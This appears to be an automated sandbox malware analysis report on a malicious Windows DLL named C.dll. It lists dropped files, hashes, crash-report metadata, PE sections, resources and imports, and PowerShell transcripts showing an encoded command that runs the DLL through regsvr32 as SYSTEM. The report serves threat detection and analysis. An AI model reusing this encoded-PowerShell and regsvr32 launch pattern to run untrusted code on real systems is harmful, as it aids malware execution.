SSDEEP:	192:X9djCgxPpKDpO5Skba1sDat+nb7eq+gMRfMf7ujJ3NH3XZk3:Nfres5LbAsWtSb7v+gMRfMf7ujT3C3
MD5:	7BECB9E17FFE597DB621DD00474A028F
SHA1:	342A888D8E5BE12CE49B7257BFDD10996157953E
SHA-256:	0885DE2845AD9CBFD02AE3E213772B47D9421020CCB384496EE8BC52174DE231
SHA-512:	315AF49155418CC2025AB2CD3579887F402CBF3F7D23368F78D2F7E069C68183BCD153AA9BEC07C21213A7C22D602BEB73D5CFB8218C8EB6F855A9387FD15344
Malicious:	false
Preview:	MDMP....... ..........b....................................$...06..........T.......8...........T............"..............p...........\!...................................................................U...........B.......!......GenuineIntelW...........T............b.............................0..1...............W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .D.a.y.l.i.g.h.t. .T.i.m.e.......................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.....................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCB20.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8304
Entropy (8bit):	3.69601606347328
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNisE6b6YLtO96gUgmfTnSt+prT89bPpsfulm:RrlsNin6b6Y5a6zgmfTnStPCft
MD5:	4445A8B13AAF59821E622DCE2A8DD128
SHA1:	2B5F8061B40A635E2213863DD1009F10233C5792
SHA-256:	500FE9F529AEF879FE842696EAF09CD4AF8DDCCD0EAA3E65EE9DCD36A235970A
SHA-512:	D7988573490C4BC33043223CB3B702DF70F6DF5DADD5C15D0668E92330903E2DA095AA025D86E8BF56B6AC63CB983A4C9B3AFFA4903316EFA4C4A7CAFE563302
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.6.2.0.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCCE7.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4670
Entropy (8bit):	4.4915021649958495
Encrypted:	false
SSDEEP:	48:cvIwSD8zsKJgtWI9/XWgc8sqYjI8fm8M4JCdsRZFur+q8/Oh84SrSRd:uITfYMmgrsqY5Jbmn8DWRd
MD5:	5CA2D431F031D09DD4F6A50AF6FEA1B2
SHA1:	C38EF3853317B73FACAAC5EAC8BDE5467D3C9506
SHA-256:	9987A0225FBD3D679F22E9574E7698E0B8FDE5BFDD025AD3278DAB888403B4F4
SHA-512:	2CBB3133E126488770D53C4D799E54ED759C388F97D2889AD68BB0A451034DEDAA15D9612FBD397BDD54BA5A34573349BC5F665855EEB67C8CCBA7B267FA0433
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1572546" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\Users\user\Desktop\C.dll

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	4.396967862981054
Encrypted:	false
SSDEEP:	48:OEPx+6I8LgS72DsOA1dyqQrD1tXPFJhsppwAOY5iRYgZX0dB1mkK52wR6PD:nPxht2Dk1dyqIF9JhsLwAOhf2ZW2wIPD
MD5:	C3D663CFCFDBF2D1EAA72A9FB7F6925D
SHA1:	4032F9A0D27475295B9BD927B764D8167705DD0A
SHA-256:	73CBBE5DA2FCE01B57CAA2A39EA01DB26B84DD62631409CF4B3FCFDC4A09A2F7
SHA-512:	FCFC24C7A425B78C3443B50E6F508F92F076EC6B11993E4FC3105D1DB79F1A23064DABA2B379BAF7108AA5DE9FC161D68D61D200EEF6E153F2C84A2CF7CA037E
Malicious:	true
Joe Sandbox View:	Filename: A.dll, Detection: malicious, Browse Filename: yVOTuAlq9R.dll, Detection: malicious, Browse Filename: A.dll, Detection: malicious, Browse
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B..........................................@............................................................................."...0.......................0......................................................................................CODE................................ ..`DATA....L&.......(..................@...BSS.....i................................idata..*".......$..................@....reloc.......0......................@..P.rsrc........0......................@..P....................................@..P........................................................................................................................................................................................................................

C:\Windows\System32\20220623\PowerShell_transcript.724536.04iY03ef.20220623175558.txt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1027
Entropy (8bit):	5.266336877220217
Encrypted:	false
SSDEEP:	24:BxSA0qPvNRBbx2DOXihLHPX5WcHjeTKKjX4CIym1ZJXH41cr2nxSAZv:BZ7vNXboOMDYcqDYB1Z5YZZv
MD5:	7043F9EBD9E8ECB0CF05A7DE834A1C6F
SHA1:	06776F55136BCC41165FB247ED67DE33EBD34A94
SHA-256:	3D46A909B6B3B6FFC99182258A609B96035946A83A14DED7D40C9451D6ECF1C0
SHA-512:	C6A528343FCEE14C247E2F1693902396DC464D2F0D0958FC459E443A2C73EFD7FAB6B9FE8D9B3ABE7EA8E66CFD7FBEDAB2D69A7D61C12D27C0DDA56218AC09E7
Malicious:	false
Preview:	.********************..Windows PowerShell transcript start..Start time: 20220623175559..Username: WORKGROUP\SYSTEM..RunAs User: WORKGROUP\SYSTEM..Configuration Name: ..Machine: 724536 (Microsoft Windows NT 10.0.17134.0)..Host Application: powershell.exe -encodedCommand cgBlAGcAcwB2AHIAMwAyAC4AZQB4AGUAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEQAZQBzAGsAdABvAHAAXABDAC4AZABsAGwAIgA=..Process ID: 6532..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..******************..******************..Command start time: 20220623175559..******************..PS>regsvr32.exe "C:\Users\user\Desktop\C.dll"..******************..Command start time: 20220623175600..******************..PS>$global:?..True..********************..Windows PowerShell transcript end..End time: 2022062317560

C:\Windows\System32\20220623\PowerShell_transcript.724536.4jRUxIKh.20220623175701.txt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1027
Entropy (8bit):	5.253338253653885
Encrypted:	false
SSDEEP:	24:BxSAKBqPvNRBbx2DOXihLHPX5WZHjeTKKjX4CIym1ZJXy51crHtnxSAZWt:BZKCvNXboOMDYZqDYB1Z80RZZWt
MD5:	C3F08CE22BBE4449120C045B9846BACC
SHA1:	8446967067BFEA86210A243E9E9EE81BB88AD006
SHA-256:	5FD360FB512A4804273B078921ACCC689A1D0BAAE33729F63F57466E569D5252
SHA-512:	8E6BE2F3F403032F1FD2A495247D0C6E83441DC534BCAE207079471706C33D02FAEF68A321BF07ECA4DAD3572F3FEFEE65F636425CBC5AD7D2DCD5A89329935E
Malicious:	false
Preview:	.********************..Windows PowerShell transcript start..Start time: 20220623175702..Username: WORKGROUP\SYSTEM..RunAs User: WORKGROUP\SYSTEM..Configuration Name: ..Machine: 724536 (Microsoft Windows NT 10.0.17134.0)..Host Application: powershell.exe -encodedCommand cgBlAGcAcwB2AHIAMwAyAC4AZQB4AGUAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEQAZQBzAGsAdABvAHAAXABDAC4AZABsAGwAIgA=..Process ID: 3732..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..******************..******************..Command start time: 20220623175702..******************..PS>regsvr32.exe "C:\Users\user\Desktop\C.dll"..******************..Command start time: 20220623175702..******************..PS>$global:?..True..********************..Windows PowerShell transcript end..End time: 2022062317570

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Windows\Temp\__PSScriptPolicyTest_5ss0gna4.r3v.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Windows\Temp\__PSScriptPolicyTest_cyx5weiu.qmq.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Windows\Temp\__PSScriptPolicyTest_et0gmkgs.0m3.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Windows\Temp\__PSScriptPolicyTest_hwx3zdj0.32k.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

Static File Info

General

File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.763003299581498
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 97.97% Win32 Executable Delphi generic (14689/80) 1.44% Win16/32 Executable Delphi generic (2074/23) 0.20% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20%
File name:	C.dll
File size:	1112443
MD5:	8b81e6a7702f58b93fdc2b57ab401ffb
SHA1:	2990b8adc8891564c404190bedab55df5027da32
SHA256:	500f85201bcfc0ae49204bd31ed4f055cac1b0b7f8e74339907f5c14b8e711a8
SHA512:	957929d5000d17bd44d9ef21b5b1d6bf3c1e153527000ad545cec7fc8ed9470e15fb4c7316acfd66d3004cc109f2fc483daaebbc27ff1264fc6539c827618659
SSDEEP:	24576:5vf3ZKnZDyYxr6AVIY7wOM058KJWljhx:NQFnXz+jh
TLSH:	A4358D32B2D1D837D4721A7C9D5BB2E998747E105E2CE44E7ED44F4C1E3AA813A352A3
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	b99988fcd4f66e0f

Static PE Info

General

Entrypoint:	0x4cb88c
Entrypoint Section:	CODE
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, DLL, BYTES_REVERSED_HI
DLL Characteristics:
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	1e26e30a2a18779b13b95a18534c6e18

Authenticode Signature

Signature Valid:
Signature Issuer:
Signature Validation Error:
Error Number:
Not Before, Not After
Subject Chain
Version:
Thumbprint MD5:
Thumbprint SHA-1:
Thumbprint SHA-256:
Serial:

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFC4h
mov eax, 004CB444h
call 00007FF2185F6699h
xor eax, eax
push ebp
push 004CB8F4h
push dword ptr fs:[eax]
mov dword ptr fs:[eax], esp
mov eax, 004CFF60h
mov edx, 004CB908h
call 00007FF2185F4108h
mov eax, 004CFF64h
mov ecx, 004CB914h
mov edx, dword ptr [004CFF60h]
call 00007FF2185F43ABh
push 004CB918h
call 00007FF2185F6C31h
xor ecx, ecx
mov dl, 01h
mov eax, dword ptr [004CAD84h]
call 00007FF218624DD3h
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword ptr fs:[eax], edx
push 004CB8FBh
ret
jmp 00007FF2185F3910h
jmp 00007FF2186BB73Ah
call 00007FF2185F3F7Dh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xd0000	0x222a	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xe3000	0x29200	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x108200	0x15c8	.rsrc
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xd3000	0xf4ec	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
CODE	0x1000	0xca91c	0xcaa00	False	0.4416303593460827	data	6.5649128445152	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
DATA	0xcc000	0x264c	0x2800	False	0.41455078125	data	4.565771214115526	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
BSS	0xcf000	0xf69	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0xd0000	0x222a	0x2400	False	0.3534071180555556	data	4.874417112519602	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0xd3000	0xf4ec	0xf600	False	0.5579427083333334	data	6.683497498888386	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.rsrc	0xe3000	0x29200	0x29200	False	0.7685339095744681	data	7.27811291294995	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
SDFGSFASDF	0xe3ca4	0x21c72	data	French	Cote dIvoire
RT_CURSOR	0x105918	0x134	data
RT_CURSOR	0x105a4c	0x134	data
RT_CURSOR	0x105b80	0x134	data
RT_CURSOR	0x105cb4	0x134	data
RT_CURSOR	0x105de8	0x134	data
RT_CURSOR	0x105f1c	0x134	data
RT_CURSOR	0x106050	0x134	data
RT_BITMAP	0x106184	0x1d0	data
RT_BITMAP	0x106354	0x1e4	data
RT_BITMAP	0x106538	0x1d0	data
RT_BITMAP	0x106708	0x1d0	data
RT_BITMAP	0x1068d8	0x1d0	data
RT_BITMAP	0x106aa8	0x1d0	data
RT_BITMAP	0x106c78	0x1d0	data
RT_BITMAP	0x106e48	0x1d0	data
RT_BITMAP	0x107018	0x1d0	data
RT_BITMAP	0x1071e8	0x1d0	data
RT_BITMAP	0x1073b8	0xe8	GLS_BINARY_LSB_FIRST
RT_ICON	0x1074a0	0x2e8	dBase IV DBT of @.DBF, block length 512, next free block index 40, next free block 49, next used block 48059	English	United States
RT_DIALOG	0x107788	0x52	data
RT_STRING	0x1077dc	0x1ec	data
RT_STRING	0x1079c8	0x370	data
RT_STRING	0x107d38	0x3d4	data
RT_STRING	0x10810c	0x36c	data
RT_STRING	0x108478	0x3ec	data
RT_STRING	0x108864	0x30c	data
RT_STRING	0x108b70	0x394	data
RT_STRING	0x108f04	0x1e4	data
RT_STRING	0x1090e8	0x1a4	data
RT_STRING	0x10928c	0x11c	data
RT_STRING	0x1093a8	0x2b8	data
RT_STRING	0x109660	0xe0	data
RT_STRING	0x109740	0x10c	data
RT_STRING	0x10984c	0x370	data
RT_STRING	0x109bbc	0x3c4	data
RT_STRING	0x109f80	0x3b8	data
RT_STRING	0x10a338	0x3b0	data
RT_STRING	0x10a6e8	0xf0	data
RT_STRING	0x10a7d8	0xc0	data
RT_STRING	0x10a898	0x2d8	data
RT_STRING	0x10ab70	0x49c	data
RT_STRING	0x10b00c	0x388	data
RT_STRING	0x10b394	0x2f0	data
RT_RCDATA	0x10b684	0x10	data
RT_RCDATA	0x10b694	0x5f0	data
RT_RCDATA	0x10bc84	0x134	Delphi compiled form 'Tp0'
RT_GROUP_CURSOR	0x10bdb8	0x14	Lotus unknown worksheet or configuration, revision 0x1
RT_GROUP_CURSOR	0x10bdcc	0x14	Lotus unknown worksheet or configuration, revision 0x1
RT_GROUP_CURSOR	0x10bde0	0x14	Lotus unknown worksheet or configuration, revision 0x1
RT_GROUP_CURSOR	0x10bdf4	0x14	Lotus unknown worksheet or configuration, revision 0x1
RT_GROUP_CURSOR	0x10be08	0x14	Lotus unknown worksheet or configuration, revision 0x1
RT_GROUP_CURSOR	0x10be1c	0x14	Lotus unknown worksheet or configuration, revision 0x1
RT_GROUP_CURSOR	0x10be30	0x14	Lotus unknown worksheet or configuration, revision 0x1
RT_GROUP_ICON	0x10be44	0x14	data	English	United States
RT_VERSION	0x10be58	0x204	data	Chinese	China

Imports

DLL	Import
kernel32.dll	DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, InitializeCriticalSection, VirtualFree, VirtualAlloc, LocalFree, LocalAlloc, GetVersion, GetCurrentThreadId, InterlockedDecrement, InterlockedIncrement, VirtualQuery, WideCharToMultiByte, MultiByteToWideChar, lstrlenA, lstrcpynA, LoadLibraryExA, GetThreadLocale, GetStartupInfoA, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetCommandLineA, FreeLibrary, FindFirstFileA, FindClose, ExitProcess, WriteFile, UnhandledExceptionFilter, RtlUnwind, RaiseException, GetStdHandle
user32.dll	GetKeyboardType, LoadStringA, MessageBoxA, CharNextA
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
oleaut32.dll	SysFreeString, SysReAllocStringLen, SysAllocStringLen
kernel32.dll	TlsSetValue, TlsGetValue, TlsFree, TlsAlloc, LocalFree, LocalAlloc
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey, GetUserNameW
kernel32.dll	lstrcpyA, WriteFile, WaitForSingleObject, VirtualQuery, VirtualAlloc, Sleep, SizeofResource, SetThreadLocale, SetFilePointer, SetEvent, SetErrorMode, SetEndOfFile, ResetEvent, ReadFile, MultiByteToWideChar, MulDiv, LockResource, LoadResource, LoadLibraryA, LeaveCriticalSection, InitializeCriticalSection, GlobalUnlock, GlobalReAlloc, GlobalHandle, GlobalLock, GlobalFree, GlobalFindAtomA, GlobalDeleteAtom, GlobalAlloc, GlobalAddAtomA, GetVersionExA, GetVersion, GetTickCount, GetThreadLocale, GetTempPathA, GetSystemInfo, GetStringTypeExA, GetStdHandle, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLocalTime, GetLastError, GetFullPathNameA, GetFileSize, GetDiskFreeSpaceA, GetDateFormatA, GetCurrentThreadId, GetCurrentProcessId, GetCPInfo, GetACP, FreeResource, InterlockedExchange, FreeLibrary, FormatMessageA, FindResourceA, FindFirstFileA, FindClose, FileTimeToLocalFileTime, FileTimeToDosDateTime, EnumCalendarInfoA, EnterCriticalSection, DeleteFileA, DeleteCriticalSection, CreateThread, CreateFileA, CreateEventA, CompareStringA, CloseHandle
version.dll	VerQueryValueA, GetFileVersionInfoSizeA, GetFileVersionInfoA
gdi32.dll	UnrealizeObject, StretchBlt, SetWindowOrgEx, SetViewportOrgEx, SetTextColor, SetStretchBltMode, SetROP2, SetPixel, SetDIBColorTable, SetBrushOrgEx, SetBkMode, SetBkColor, SelectPalette, SelectObject, SaveDC, RestoreDC, RectVisible, RealizePalette, PatBlt, MoveToEx, MaskBlt, LineTo, IntersectClipRect, GetWindowOrgEx, GetTextMetricsA, GetTextExtentPoint32A, GetTextCharset, GetSystemPaletteEntries, GetStockObject, GetPixel, GetPaletteEntries, GetObjectA, GetDeviceCaps, GetDIBits, GetDIBColorTable, GetDCOrgEx, GetCurrentPositionEx, GetClipBox, GetBrushOrgEx, GetBitmapBits, ExcludeClipRect, DeleteObject, DeleteDC, CreateSolidBrush, CreatePenIndirect, CreatePalette, CreateHalftonePalette, CreateFontIndirectA, CreateDIBitmap, CreateDIBSection, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, BitBlt
user32.dll	CreateWindowExA, WindowFromPoint, WinHelpA, WaitMessage, UpdateWindow, UnregisterClassA, UnhookWindowsHookEx, TranslateMessage, TranslateMDISysAccel, TrackPopupMenu, SystemParametersInfoA, ShowWindow, ShowScrollBar, ShowOwnedPopups, ShowCursor, SetWindowsHookExA, SetWindowPos, SetWindowPlacement, SetWindowLongA, SetTimer, SetScrollRange, SetScrollPos, SetScrollInfo, SetRect, SetPropA, SetParent, SetMenuItemInfoA, SetMenu, SetForegroundWindow, SetFocus, SetCursor, SetClassLongA, SetCapture, SetActiveWindow, SendMessageA, ScrollWindow, ScreenToClient, RemovePropA, RemoveMenu, ReleaseDC, ReleaseCapture, RegisterWindowMessageA, RegisterClipboardFormatA, RegisterClassA, RedrawWindow, PtInRect, PostQuitMessage, PostMessageA, PeekMessageA, OffsetRect, OemToCharA, MessageBoxA, MapWindowPoints, MapVirtualKeyA, LoadStringA, LoadKeyboardLayoutA, LoadIconA, LoadCursorA, LoadBitmapA, KillTimer, IsZoomed, IsWindowVisible, IsWindowEnabled, IsWindow, IsRectEmpty, IsIconic, IsDialogMessageA, IsChild, InvalidateRect, IntersectRect, InsertMenuItemA, InsertMenuA, InflateRect, GetWindowThreadProcessId, GetWindowTextA, GetWindowRect, GetWindowPlacement, GetWindowLongA, GetWindowDC, GetTopWindow, GetSystemMetrics, GetSystemMenu, GetSysColorBrush, GetSysColor, GetSubMenu, GetScrollRange, GetScrollPos, GetScrollInfo, GetPropA, GetParent, GetWindow, GetMenuStringA, GetMenuState, GetMenuItemInfoA, GetMenuItemID, GetMenuItemCount, GetMenu, GetLastActivePopup, GetKeyboardState, GetKeyboardLayoutList, GetKeyboardLayout, GetKeyState, GetKeyNameTextA, GetIconInfo, GetForegroundWindow, GetFocus, GetDesktopWindow, GetDCEx, GetDC, GetCursorPos, GetCursor, GetClientRect, GetClassNameA, GetClassInfoA, GetCapture, GetActiveWindow, FrameRect, FindWindowA, FillRect, EqualRect, EnumWindows, EnumThreadWindows, EndPaint, EnableWindow, EnableScrollBar, EnableMenuItem, DrawTextA, DrawMenuBar, DrawIconEx, DrawIcon, DrawFrameControl, DrawEdge, DispatchMessageA, DestroyWindow, DestroyMenu, DestroyIcon, DestroyCursor, DeleteMenu, DefWindowProcA, DefMDIChildProcA, DefFrameProcA, CreatePopupMenu, CreateMenu, CreateIcon, CopyIcon, ClientToScreen, CheckMenuItem, CallWindowProcA, CallNextHookEx, BeginPaint, CharNextA, CharLowerA, CharUpperBuffA, CharToOemA, AdjustWindowRectEx, ActivateKeyboardLayout
ole32.dll	IsEqualGUID, CoTaskMemFree, StringFromCLSID, CoCreateGuid
kernel32.dll	Sleep
oleaut32.dll	SafeArrayPtrOfIndex, SafeArrayPutElement, SafeArrayGetElement, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayCreate, VariantChangeType, VariantCopyInd, VariantCopy, VariantClear, VariantInit
ole32.dll	CoCreateInstance, CoUninitialize, CoInitialize
oleaut32.dll	CreateErrorInfo, GetErrorInfo, SetErrorInfo, SysFreeString
